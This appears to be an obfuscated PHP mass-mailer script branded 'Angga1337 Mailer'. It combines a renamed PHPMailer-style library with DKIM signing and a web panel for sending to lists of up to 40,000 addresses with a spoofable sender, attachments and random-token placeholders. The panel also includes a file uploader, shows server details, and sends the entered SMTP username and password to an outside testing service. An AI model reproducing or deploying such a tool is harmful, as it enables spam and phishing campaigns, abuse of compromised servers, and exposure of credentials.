O5304; O0651: $O9267 = ["xl" => "application/excel", "js" => "application/javascript", "hqx" => "application/mac-binhex40", "cpt" => "application/mac-compactpro", "bin" => "application/macbinary", "doc" => "application/msword", "word" => "application/msword", "xlsx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "xltx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.template", "potx" => "application/vnd.openxmlformats-officedocument.presentationml.template", "ppsx" => "application/vnd.openxmlformats-officedocument.presentationml.slideshow", "pptx" => "application/vnd.openxmlformats-officedocument.presentationml.presentation", "sldx" => "application/vnd.openxmlformats-officedocument.presentationml.slide", "docx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "dotx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.template", "xlam" => "application/vnd.ms-excel.addin.macroEnabled.12", "xlsb" => "application/vnd.ms-excel.sheet.binary.macroEnabled.12", "class" => "application/octet-stream", "dll" => "application/octet-stream", "dms" => "application/octet-stream", "exe" => "application/octet-stream", "lha" => "application/octet-stream", "lzh" => "application/octet-stream", "psd" => "application/octet-stream", "sea" => "application/octet-stream", "so" => "application/octet-stream", "oda" => "application/oda", "pdf" => "application/pdf", "ai" => "application/postscript", "eps" => "application/postscript", "ps" => "application/postscript", "smi" => "application/smil", "smil" => "application/smil", "mif" => "application/vnd.mif", "xls" => "application/vnd.ms-excel", "ppt" => "application/vnd.ms-powerpoint", "wbxml" => "application/vnd.wap.wbxml", "wmlc" => "application/vnd.wap.wmlc", "dcr" => "application/x-director", "dir" => "application/x-director", "dxr" => "application/x-director", "dvi" => "application/x-dvi", "gtar" => "application/x-gtar", "php3" => "application/x-httpd-php", "php4" => "application/x-httpd-php", "php" => "application/x-httpd-php", "phtml" => "application/x-httpd-php", "phps" => "application/x-httpd-php-source", "swf" => "application/x-shockwave-flash", "sit" => "application/x-stuffit", "tar" => "application/x-tar", "tgz" => "application/x-tar", "xht" => "application/xhtml+xml", "xhtml" => "application/xhtml+xml", "zip" => "application/zip", "mid" => "audio/midi", "midi" => "audio/midi", "mp2" => "audio/mpeg", "mp3" => "audio/mpeg", "m4a" => "audio/mp4", "mpga" => "audio/mpeg", "aif" => "audio/x-aiff", "aifc" => "audio/x-aiff", "aiff" => "audio/x-aiff", "ram" => "audio/x-pn-realaudio", "rm" => "audio/x-pn-realaudio", "rpm" => "audio/x-pn-realaudio-plugin", "ra" => "audio/x-realaudio", "wav" => "audio/x-wav", "mka" => "audio/x-matroska", "bmp" => "image/bmp", "gif" => "image/gif", "jpeg" => "image/jpeg", "jpe" => "image/jpeg", "jpg" => "image/jpeg", "png" => "image/png", "tiff" => "image/tiff", "tif" => "image/tiff", "webp" => "image/webp", "heif" => "image/heif", "heifs" => "image/heif-sequence", "heic" => "image/heic", "heics" => "image/heic-sequence", "eml" => "message/rfc822", "css" => "text/css", "html" => "text/html", "htm" => "text/html", "shtml" => "text/html", "log" => "text/plain", "text" => "text/plain", "txt" => "text/plain", "rtx" => "text/richtext", "rtf" => "text/rtf", "vcf" => "text/vcard", "vcard" => "text/vcard", "ics" => "text/calendar", "xml" => "text/xml", "xsl" => "text/xml", "wmv" => "video/x-ms-wmv", "mpeg" => "video/mpeg", "mpe" => "video/mpeg", "mpg" => "video/mpeg", "mp4" => "video/mp4", "m4v" => "video/mp4", "mov" => "video/quicktime", "qt" => "video/quicktime", "rv" => "video/vnd.rn-realvideo", "avi" => "video/x-msvideo", "movie" => "video/x-sgi-movie", "webm" => "video/webm", "mkv" => "video/x-matroska"]; goto O4372; O7215: return "application/octet-stream"; goto O6636; O4372: $O6767 = strtolower($O6767); goto O5441; O5441: if (!array_key_exists($O6767, $O9267)) { goto O2358; } goto O2376; O6636: } public static function O6672($O6127) { goto O2182; O2182: $O4479 = strpos($O6127, "?"); goto O5362; O2488: O7648: goto O8606; O4343: $O6127 = substr($O6127, 0, $O4479); goto O2488; O8606: $O6767 = static::O2030($O6127, PATHINFO_EXTENSION); goto O4046; O5362: if (!(false !== $O4479)) { goto O7648; } goto O4343; O4046: return static::O2788($O6767); goto O1956; O1956: } public static function O2030($O4935, $O4868 = null) { goto O8561; O0669: O1104: goto O5919; O8985: $O5130 = []; goto O6449; O8500: $O1301["filename"] = $O5130[3]; goto O6458; O6647: $O1301["extension"] = $O5130[5]; goto O8834; O8939: $O1301["dirname"] = $O5130[1]; goto O0669; O8834: O1432: goto O5112; O9271: switch ($O4868) { case PATHINFO_DIRNAME: case "dirname": return $O1301["dirname"]; case PATHINFO_BASENAME: case "basename": return $O1301["basename"]; case PATHINFO_EXTENSION: case "extension": return $O1301["extension"]; case PATHINFO_FILENAME: case "filename": return $O1301["filename"]; default: return $O1301; } goto O1633; O0755: $O1301["basename"] = $O5130[2]; goto O4683; O8561: $O1301 = ["dirname" => '', "basename" => '', "extension" => '', "filename" => '']; goto O8985; O5919: if (!array_key_exists(2, $O5130)) { goto O4309; } goto O0755; O6449: if (!preg_match("#^(.*?)[\\/]*(([^/\\]*?)(\.([^.\\/]+?)|))[\\/.]*$#m", $O4935, $O5130)) { goto O2136; } goto O5079; O4683: O4309: goto O9227; O9227: if (!array_key_exists(5, $O5130)) { goto O1432; } goto O6647; O1633: O8466: goto O8064; O5079: if (!array_key_exists(1, $O5130)) { goto O1104; } goto O8939; O6458: O9224: goto O0893; O0893: O2136: goto O9271; O5112: if (!array_key_exists(3, $O5130)) { goto O9224; } goto O8500; O8064: O5265: goto O3565; O3565: } public function set($O3333, $O1459 = '') { goto O0363; O0363: if (!property_exists($this, $O3333)) { goto O4134; } goto O7590; O7590: $this->{$O3333} = $O1459; goto O4698; O7356: return false; goto O7043; O7869: O4134: goto O4901; O4901: $this->o8188($this->o0266("variable_set") . $O3333); goto O7356; O4698: return true; goto O7869; O7043: } public function O3957($O6471) { return trim(str_replace([" 
", " 
"], '', $O6471)); } public static function o8623($O2685, $O9407 = null) { goto O4469; O1706: $O2685 = str_replace("\xa", $O9407, $O2685); goto O2587; O6543: return $O2685; goto O8409; O2115: $O2685 = str_replace([" 
\xa", " 
"], "\xa", $O2685); goto O0558; O3792: O0680: goto O2115; O4469: if (!(null === $O9407)) { goto O0680; } goto O1485; O0558: if (!("\xa" !== $O9407)) { goto O9199; } goto O1706; O1485: $O9407 = static::$O1517; goto O3792; O2587: O9199: goto O6543; O8409: } public static function o0181() { return static::$O1517; } protected static function o1440($O3949) { static::$O1517 = $O3949; } public function o0015($O7405, $O9911, $O7497, $O5242 = '') { goto O2448; O2448: $this->O6015 = $O7405; goto O9248; O9248: $this->O8187 = $O9911; goto O0873; O0873: $this->O3614 = $O7497; goto O7601; O7601: $this->O9194 = $O5242; goto O2309; O2309: } public function o6477($O7171) { goto O6374; O8686: O4504: goto O2894; O1830: $O8240 .= "=" . sprintf("%02X", $O8105); goto O4071; O0554: O0674: goto O1511; O4071: goto O0674; goto O8686; O2070: goto O6747; goto O8494; O6374: $O8240 = ''; goto O1002; O0851: if (!($O8411 < $O1432)) { goto O3689; } goto O8179; O5922: ++$O8411; goto O2070; O4508: return $O8240; goto O6711; O2894: $O8240 .= $O7171[$O8411]; goto O0554; O8179: $O8105 = ord($O7171[$O8411]); goto O2498; O1511: O3188: goto O5922; O8494: O3689: goto O4508; O1454: O6747: goto O0851; O7074: $O8411 = 0; goto O1454; O1002: $O1432 = strlen($O7171); goto O7074; O2498: if (0x21 <= $O8105 and $O8105 <= 0x3a or $O8105 == 0x3c or 0x3e <= $O8105 and $O8105 <= 0x7e) { goto O4504; } goto O1830; O6711: } public function o2576($O4006) { goto O5895; O4426: openssl_pkey_free($O9831); goto O5949; O3245: O3048: goto O0859; O3586: O3034: goto O4923; O3614: openssl_pkey_free($O9831); goto O1599; O5949: return base64_encode($O4565); goto O6198; O2797: O5095: goto O8907; O0859: if (!openssl_sign($O4006, $O4565, $O9831, "sha256WithRSAEncryption")) { goto O8038; } goto O4426; O8907: $O9831 = openssl_pkey_get_private($O2053, $this->O0821); goto O3245; O3976: throw new Exception($this->O0266("extension_missing") . "openssl"); goto O8086; O9947: goto O3048; goto O2797; O6198: O8038: goto O3614; O9780: if (!$this->O0454) { goto O0977; } goto O3976; O4923: $O2053 = !empty($this->O1170) ? $this->O1170 : file_get_contents($this->O2814); goto O7839; O7839: if ('' != $this->O0821) { goto O5095; } goto O5352; O1149: return ''; goto O3586; O1599: return ''; goto O1897; O8086: O0977: goto O1149; O5895: if (defined("PKCS7_TEXT")) { goto O3034; } goto O9780; O5352: $O9831 = openssl_pkey_get_private($O2053); goto O9947; O1897: } public function o2378($O4006) { goto O1107; O1107: $O4006 = preg_replace("/\r\n[ \t]+/", " ", $O4006); goto O7540; O1819: return implode(" 
", $O7040); goto O2995; O7540: $O7040 = explode(" 
", $O4006); goto O6431; O6016: O4137: goto O1819; O6431: foreach ($O7040 as $O6432 => $O8240) { goto O1755; O4474: O6906: goto O0513; O4266: $O1459 = preg_replace("/[ \t]{2,}/", " ", $O1459); goto O6587; O1022: goto O6906; goto O0383; O1755: if (!(strpos($O8240, ":") === false)) { goto O4897; } goto O1022; O3036: list($O9271, $O1459) = explode(":", $O8240, 2); goto O1814; O0383: O4897: goto O3036; O6587: $O7040[$O6432] = trim($O9271, " 	") . ":" . trim($O1459, " \x9"); goto O4474; O1814: $O9271 = strtolower($O9271); goto O4266; O0513: } goto O6016; O2995: } public function o5114($O5285) { goto O1194; O9829: O0246: goto O1332; O4887: return rtrim($O5285, "\xd\xa") . "\xd\xa"; goto O5622; O5883: return " 
"; goto O9829; O1332: $O5285 = static::O8623($O5285, " 
\xa"); goto O4887; O1194: if (!empty($O5285)) { goto O0246; } goto O5883; O5622: } public function o4747($O9625, $O6026, $O5285) { goto O5305; O7396: if (!$this->O4779) { goto O7314; } goto O3720; O5402: O7090: goto O9740; O3563: $O1398 = " i=" . $this->O7246 . ";"; goto O7682; O3827: $O0135 = ''; goto O6320; O9740: $O2728 = "DKIM-Signature: v=1; a=" . $O0218 . "; q=" . $O3903 . "; l=" . $O8895 . "; s=" . $this->O1910 . ";\xd 
" . " t=" . $O2788 . "; c=" . $O4212 . "; 
\xa" . " h=From:To:Date:Subject" . $O4493 . "; 
" . " d=" . $this->O8561 . ";" . $O1398 . " 
\xa" . $O0135 . " bh=" . $O6402 . ";\xd\xa" . " b="; goto O8691; O9711: foreach ($O0179 as $O5269) { goto O7833; O1348: $O4657 = $O5269; goto O7657; O4950: ${$O8112} .= $O5269; goto O3151; O2745: $O8112 = ''; goto O5952; O3151: O1844: goto O9005; O9642: O3361: goto O6859; O4322: goto O6455; goto O9642; O1639: $O9365 = $O5269; goto O5184; O4777: if (!empty($this->O9969)) { goto O5178; } goto O6516; O1759: O4884: goto O4727; O1579: O5017: goto O7842; O4171: foreach ($this->O9969 as $O8357) { goto O9587; O7381: foreach ($this->O0111 as $O4583) { goto O3005; O3005: if (!($O4583[0] === $O8357)) { goto O5831; } goto O9412; O9710: O5831: goto O9439; O9439: O5735: goto O6113; O9412: $O4542 = trim($O4583[0]) . ": " . $this->o1008(trim($O4583[1])); goto O3802; O3802: goto O5243; goto O9710; O6113: } goto O5655; O7707: $O8112 = ''; goto O6395; O5655: O5243: goto O0608; O9175: $O4542 = $O5269; goto O7381; O9587: if (!(strpos($O5269, $O8357 . ":") === 0)) { goto O4254; } goto O9175; O4408: O8229: goto O6883; O0608: $O5363[$O8357] = $O4542; goto O7707; O6395: goto O5017; goto O2246; O2246: O4254: goto O4408; O6883: } goto O1579; O6460: O3016: goto O4950; O5510: $O8112 = "to_header"; goto O4726; O1309: O5178: goto O4171; O4792: O0069: goto O1348; O4726: goto O6455; goto O2188; O5952: goto O1844; goto O6460; O6516: if (!empty(${$O8112}) and strpos($O5269, " =?") === 0) { goto O3016; } goto O2745; O3935: if (strpos($O5269, "To:") === 0) { goto O3361; } goto O1744; O7833: if (strpos($O5269, "From:") === 0) { goto O0069; } goto O3935; O7842: O6455: goto O1759; O1744: if (strpos($O5269, "Date:") === 0) { goto O6736; } goto O4777; O9005: goto O6455; goto O4792; O5184: $O8112 = "date_header"; goto O5177; O2188: O6736: goto O1639; O7657: $O8112 = "from_header"; goto O4322; O6859: $O4449 = $O5269; goto O5510; O5177: goto O6455; goto O1309; O4727: } goto O4488; O6183: $O6402 = base64_encode(pack("H*", hash("sha256", $O5285))); goto O5161; O6009: $O4493 = ''; goto O3518; O1588: $O9365 = ''; goto O4101; O6974: $O4657 = ''; goto O8307; O2558: $O2298 = $this->o2576($O2017); goto O9938; O5625: $O1031 = ''; goto O9711; O7533: $O6026 = str_replace("|", "=7C", $this->o6477($O4752)); goto O1837; O3423: $O5285 = $this->o5114($O5285); goto O7078; O6295: $O0179 = explode(static::$O1517, $O9625); goto O6974; O3518: $O3055 = ''; goto O5625; O3622: O7314: goto O3423; O7682: goto O7090; goto O6905; O7787: $O0497 = str_replace("|", "=7C", $this->O6477($O9365)); goto O7533; O3720: $O1456 = str_replace("|", "=7C", $this->O6477($O4657)); goto O7413; O4101: $O8112 = ''; goto O3827; O9938: return static::o8623($O2728 . $O2298) . static::$O1517; goto O6462; O5161: if ('' == $this->O7246) { goto O5490; } goto O3563; O6320: $O5363 = []; goto O6009; O1141: $O4212 = "relaxed/simple"; goto O9625; O8691: $O2017 = $this->o2378($O4657 . "\xd 
" . $O4449 . "\xd\xa" . $O9365 . " 
" . $O4752 . "\xd\xa" . $O3055 . $O2728); goto O2558; O9625: $O3903 = "dns/txt"; goto O0942; O7906: $O4752 = "Subject:{$O6026}"; goto O6295; O2605: $O1398 = ''; goto O5402; O5291: foreach ($O5363 as $O6432 => $O1459) { goto O0694; O0694: $O4493 .= ":" . $O6432; goto O0256; O0256: $O3055 .= $O1459 . " 
"; goto O4196; O4840: O0632: goto O6046; O8026: O2837: goto O4840; O4196: if (!$this->O4779) { goto O2837; } goto O7644; O7644: $O1031 .= " |" . str_replace("|", "=7C", $this->O6477($O1459)) . ";\xd 
"; goto O8026; O6046: } goto O1362; O1837: $O0135 = "z={$O1456} 
" . "|{$O3617}\xd\xa" . "|{$O0497}\xd\xa" . "|{$O6026}; 
\xa" . $O1031; goto O3622; O0942: $O2788 = time(); goto O7906; O5305: $O0218 = "rsa-sha256"; goto O1141; O8307: $O4449 = ''; goto O1588; O7413: $O3617 = str_replace("|", "=7C", $this->o6477($O4449)); goto O7787; O7078: $O8895 = strlen($O5285); goto O6183; O4488: O1144: goto O5291; O6905: O5490: goto O2605; O1362: O0923: goto O7396; O6462: } public static function o1784($O6471) { return (bool) preg_match("/^(.{" . (self::O6446 + strlen(static::$O1517)) . ",})/m", $O6471); } public function o6831() { return $this->O1431; } public function O9824() { return $this->O0958; } public function o1086() { return $this->O3390; } public function o8223() { return $this->O9879; } public function O7275() { return $this->O8684; } protected function O6038($O2434, $O3617, $O8184, $O2467, $O6026, $O5285, $O1456, $O8302) { goto O9998; O7642: call_user_func($this->O9140, $O2434, $O3617, $O8184, $O2467, $O6026, $O5285, $O1456, $O8302); goto O2460; O9998: if (!(!empty($this->O9140) and is_callable($this->O9140))) { goto O6521; } goto O7642; O2460: O6521: goto O6184; O6184: } public function o9816() { return $this->O4337; } public function O0461(O1184 $O9783) { $this->O4337 = $O9783; } } goto O9687; O9417: $O6878 = $_POST["suser"]; goto O2074; O4783: $_SESSION[$O5068] = $O2889; goto O6752; O7889: $O3001->O5604 = true; goto O1085; O7248: $O8271 = count($O4166); goto O7596; O6508: O1307: goto O9059; O5300: $O3082 = o5768($_POST["messageType"]); goto O0800; O7905: $O2705 = "checked"; goto O5273; O6752: O9502: goto O6440; O9000: function O0201($O1060) { goto O2276; O7117: $O2889 = ''; goto O2098; O2276: $O4188 = rand(12, 25); goto O7117; O4077: if (!($O8411 < $O4188)) { goto O9352; } goto O5926; O9555: O9352: goto O1048; O2098: $O8411 = 0; goto O9339; O2451: goto O6488; goto O9555; O5926: $O2889 .= $O1060[rand() % strlen($O1060)]; goto O9984; O1589: $O8411++; goto O2451; O9339: O6488: goto O4077; O9984: O2767: goto O1589; O1048: return $O2889; goto O2703; O2703: } goto O2205; O8728: $O6594 = $_POST["sssl"]; goto O8475; O5273: O2808: goto O2864; O0800: $O4957 = o5768($_POST["messageLetter"]); goto O6167; O4160: echo "<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">"; goto O3703; O5078: $O6026 = o5768($_POST["subject"]); goto O3690; O3338: $O4957 = urldecode($O4957); goto O0929; O9012: $O0360 = O5768($_POST["senderName"]); goto O0254; O5994: $O3001->O8164 = $O3059; goto O6413; O6381: if (!($_POST["_upl"] == "Upload")) { goto O4305; } goto O8247; O9705: O7321: goto O8913; O2074: $O0344 = $_POST["spass"]; goto O8704; O8504: print "    <div class="col-lg-12">"; goto O0298; O2809: $O3001->O6663 = $O6878; goto O3146; O8727: O9584: goto O7905; O4318: class o8165 extends Exception { public function O6026() { $O1390 = "<strong>" . $this->getMessage() . "</strong><br /> 
"; return $O1390; } } goto O4415; O8291: $O3703 = stripslashes($_POST["encode"]); goto O2370; O9385: session_start(); goto O5721; O3783: exit; goto O2316; O0799: O6772: goto O4783; O5614: $O7388 = o5768($_POST["senderEmail"]); goto O9012; O8288: O1873: goto O1754; O6444: goto O9142; goto O9705; O4750: print "\xd\xa<script>\xd 
\xd\xa	window.onload = funchange; 
	var alt = false;\x9 
	function funchange(){ 
\x9\x9var etext = document.getElementById("emailList").value;\xd\xa\x9\x9var myArray=new Array(); \xd\xa		myArray = etext.split("\n"); 
\x9	document.getElementById("enum").innerHTML=myArray.length+"<br />"; 
\xa		if(!alt && myArray.length > 40000){\xd 
\x9\x9\x9alert("If Mail list More Than 40000 Emails This May Hack The Server");\xd\xa	\x9	alt = true; 
\x9\x9} 
\xa	\x9\xd 
\x9}\xd\xa</script>\xd\xa<style>\xd 
 
	input, select, textarea{ 
\xa        color: #ff0000;\xd 
    }\xd\xa 
    body {\xd\xa        background-color: #0a0a0a;\xd\xa    }\xd\xa 
 
 
	pre {\xd 
        padding: 1em; 
\xa        white-space: unset;\xd 
    } 
\xd\xa    .neither { 
        font-weight: bold;\xd\xa        margin-bottom: 1em; 
\xa    }\xd\xa\xd 
    .client { 
        color: #48ff48;\xd\xa    } 
\xa 
    .server { 
\xa        color: #2dd7ff; 
\xa    } 
 
\xa    .error {\xd\xa        color: #ff3a3a;\xd\xa    } 
\xa 
    #status {\xd\xa        margin-top: 2em;\xd\xa        display: none;\xd 
    }\xd\xa 
\xa    .spinner {\xd\xa        margin: 1em 0;\xd\xa        width: 70px; 
        text-align: center; 
\xa    } 
\xa 
\xa        .spinner > div {\xd 
            width: 18px; 
\xa            height: 18px;\xd 
            background-color: #333;\xd 
            border-radius: 100%; 
\xa            display: inline-block; 
            -webkit-animation: sk-bouncedelay 1.4s infinite ease-in-out both; 
            animation: sk-bouncedelay 1.4s infinite ease-in-out both;\xd 
        } 
\xa 
\xa        .spinner .bounce1 { 
\xa            -webkit-animation-delay: -0.32s; 
            animation-delay: -0.32s; 
\xa        } 
\xa 
        .spinner .bounce2 {\xd\xa            -webkit-animation-delay: -0.16s;\xd 
            animation-delay: -0.16s; 
\xa        }\xd\xa 
    @-webkit-keyframes sk-bouncedelay { 
\xa        0%, 80%, 100% {\xd\xa            -webkit-transform: scale(0);\xd 
        } 
\xd 
        40% { 
            -webkit-transform: scale(1.0); 
\xa        } 
\xa    } 
\xa 
    @keyframes sk-bouncedelay {\xd\xa        0%, 80%, 100% {\xd\xa            -webkit-transform: scale(0); 
            transform: scale(0); 
        }\xd 
 
\xa        40% { 
\xa            -webkit-transform: scale(1.0); 
\xa            transform: scale(1.0);\xd 
        } 
\xa    } 
\xa</style> 
\xa\xd\xa 
\xa<script>\xd 
$(document).ready(function(){ 
 
    var testId; 
\xa\xd\xa    function updateStatus() { 
        $("#status, #spinner").show();\xd\xa        $.ajax({\xd 
            url: "https://www.gmass.co/Smtp/TestStatus", 
            type: "get",\xd\xa            data: { testId: testId },\xd\xa            dataType: "html",\xd 
            success: function (ret) {\xd 
                if (ret != "") { 
                    $("#log").html(ret); 
                    setTimeout(updateStatus, 100);\xd\xa                } else { 
                    $(".spinner").hide(); 
\xa                }\xd\xa            } 
        }); 
    } 
\xa\xd\xa    $("#test").on("click", function () { 
        var host = $("#shost").val();\xd 
        var usr = $("#suser").val();\xd 
        var pass = $("#spass").val(); 
        var port = $("#sport").val();\xd\xa        var from = "test@"+host; 
\xa        var to = $("#checkeremail").val();;\xd 
        var sdata = "{\"SmtpServer\":\""+host+"\",\"port\":\""+port+"\",\"sso\":\"Auto\",\"username\":\""+usr+"\",\"password\":\""+pass+"\",\"from\":\""+from+"\",\"to\":\""+to+"\"}"; 
        sdata = JSON.parse(sdata);\xd\xa         
        $.ajax({ 
\xa            url: "https://www.gmass.co/Smtp/CreateTest",\xd 
            type: "post", 
            dataType: "json", 
            data: sdata, 
            success: function (guid) {\xd 
                testId = guid; 
                $("#log").html("");\xd 
                updateStatus();\xd 
            }\xd\xa        }) 
\xd 
    }); 
\xa 
\xa  \xd 
    $("#checkbox1").prop("checked", true);\xd 
 
     
    $("#checkbox1").change(function(){\xd 
    if(this.checked){\xd\xa    $("#checkbox1").attr("value", "1");     
\xa    $("#autoUpdate").fadeIn("slow");\xd 
    $("#autoUpdate2").fadeIn("slow"); 
\xa    $("#autoUpdate3").fadeIn("slow");}\xd 
    else{\xd 
    $("#checkbox1").attr("value", "1");  
    $("#autoUpdate").fadeOut("slow"); 
\xa    $("#autoUpdate2").fadeOut("slow");\xd 
    $("#autoUpdate3").fadeOut("slow"); 
\xa    }\xd 
    });\xd 
 
 
\xa    }); 
\xa  
    </script> 
\xa 
\xa        <div class="container col-lg-6"> 
\xa         <h3><img src="https://static.wikia.nocookie.net/akamegakill/images/f/fb/Night_Raid_Logo.png" height="90px" width="75px"> <font style="color:#b5b5b5;"> Angga1337 Mailer </font> <small><font style="color:white;"></font></small></h3>\xd 
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action=""> 
\xa        <p><input id="checkbox1" type="checkbox" name="usesmtp" value=""><font style="color:#b5b5b5;">SMTP<br></p> 
\xa        <div class="row" id="autoUpdate"> 
\xa            <div class="form-group col-lg-6 "><label for="shost">SMTP Hostname</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;"  class="form-control  input-sm " id="shost" name="shost" value="" . $O4103 . ""></div> 
            <div class="form-group col-lg-6 "><label for="sport">SMTP Port</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="sport" name="sport" value="" . $O3059 . ""></div>\xd\xa        </div>\xd 
        <div class="row" id="autoUpdate2">\xd 
            <div class="form-group col-lg-6 "><label for="suser">SMTP Username</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="suser" name="suser" value="" . $O6878 . ""></div> 
            <div class="form-group col-lg-6 "><label for="spass">SMTP Password</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="spass" name="spass" value="" . $O0344 . ""></div>\xd\xa        </div> 
        <div class="row" id="autoUpdate3"> 
        <div class="form-group col-lg-6 "> 
\xa        <label for="encode">SMTP SECURE</label>\xd\xa        <select style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:b5b5b5" class="form-control input-sm" id="sssl" name="sssl">\xd\xa            <option value="true"  selected>TRUE</option>\xd 
            <option value="false">FALSE</option> 
\xa        </select>  
         
\xa 
    </div>\xd\xa    <div class="form-group col-lg-4 "><label for="checkeremail">Checker Send To Email</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="checkeremail" name="checkeremail" value=""></div> 
    <div class="form-group col-lg-2 "><label for="test"> &nbsp</label><input type="button" style="background-color:#930205;border-color:red"   class="form-control  btn btn-info " id="test" name="test" onclick="check()" value="TEST">   </div> 
\xa\xd\xa        </div>\xd\xa        <hr><br><br> 
\xa        <div class="row"> 
\xa        <div class="form-group col-lg-6 "><label for="senderEmail">From Email</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="" . $O7388 . ""></div> 
\xa        <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="senderName" name="senderName" value="" . $O0360 . ""></div>\xd\xa    </div>\xd 
    \xd\xa    <div class="row">\xd 
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span> 
\xd\xa                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="replyTo" name="replyTo" value="" . $O0655 . "" /></div> 
\xa            </div> 
\xa            <div class="row"> 
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="subject" name="subject" value="" . $O6026 . "" /></div> 
\xa            </div> 
\xa            <div class="row">\xd 
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control" rows="10" id="textArea">" . $O4957 . "</textarea></div>\xd\xa                <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control" rows="10" id="textArea">" . $O7779 . "</textarea></div>\xd\xa		\x9</div> 
		\x9<div class="row">\xd 
\x9	\x9<div class="form-group col-lg-6"> 
\xa\x9		                    <label for="messageType">Message Type :</label>\xd 
                    HTML <input type="radio" name="messageType" id="messageType" value="1" " . $O4791 . "> 
                    Plain<input type="radio" name="messageType" id="messageType" value="2" " . $O2705 . "></div>\xd\xa\x9		<div class="form-group col-lg-6">\xd\xa\x9	\x9<label>Quantity Emails : </label>&nbsp;<span id="enum">0<br>\xd 
			</div>\xd\xa\x9\x9\x9</div>\xd 
            <div class="row">\xd 
                <div class="form-group col-lg-3 "> 
                    <label for="encode">Encode Type</label> 
\xa                    <select style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:b5b5b5" class="form-control input-sm" id="encode" name="encode"> 
                        <option value="UTF-8" selected>UTF-8 Encode</option> 
                        <option value="ISO-8859-1">ISO Encode</option> 
                    </select>\xd 
                </div> 
                <div class="form-group col-lg-3 ">\xd\xa                </div> 
            </div>  
\xa            <button type="submit" style="background-color:#930205;border-color:red" class="btn btn-danger btn-sm" form="form" name="action" value="send">SEND MESSAGE</button> 
    
        </form><br><hr><br><br>\xd\xa    </div> 
\xa    <div class="col-lg-6"><br> 
\xa    <label for="well">Instruction</label> 
    <div id="well" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="well well"> 
\xa        <h4>Server Information</h4>\xd\xa        <ul>\xd\xa            <li>ServerIP : <b>" . $_SERVER["SERVER_ADDR"] . "</b></li> 
\xa            <li>Server : <b>" . PHP_OS . " - " . php_uname() . "</b></li> 
        </ul> 
\xa         
\xa        <h4>HELP</h4>\xd\xa        <ul> 
        <li>Note: Maximum 40,000 email per send.  </li> \xd 
        <li>Note: Uncheck Use SMTP Server if you dont want to use smtp server.  </li>                 
\xa            <li>[-email-] : <b>Reciver Email</b></li>\xd 
            <li>[-time-] : <b>Date and Time</b> (" . date("m/d/Y h:i:s a", time()) . ")</li> 
\xa            <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>\xd 
            <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>\xd\xa            <li>[-randomnumber-] : <b>Random number (0-9) </b></li>\xd\xa            <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>\xd\xa            <li>[-randommd5-] : <b>Random MD5 </b></li> 
        </ul>\xd\xa        <h4>example</h4>\xd\xa        <b>[email protected]</b><br>\xd\xa        <ul> 
            <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li> 
\xa            <li>your code is  <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>\xd 
        </ul>\xd 
\xd 
        <h6>by <b><a href="http://" . $O3279["website"] . ""><font>" . $O3279["website"] . "</a></b></h6>\xd\xa    </div> 
</div> 
\xa<div id="status">\xd 
    <div id="log"></div> 
\xa    <div class="spinner"> 
\xa        <div class="bounce1"></div> 
\xa        <div class="bounce2"></div> 
\xa        <div class="bounce3"></div> 
    </div> 
</div>\xd 
 
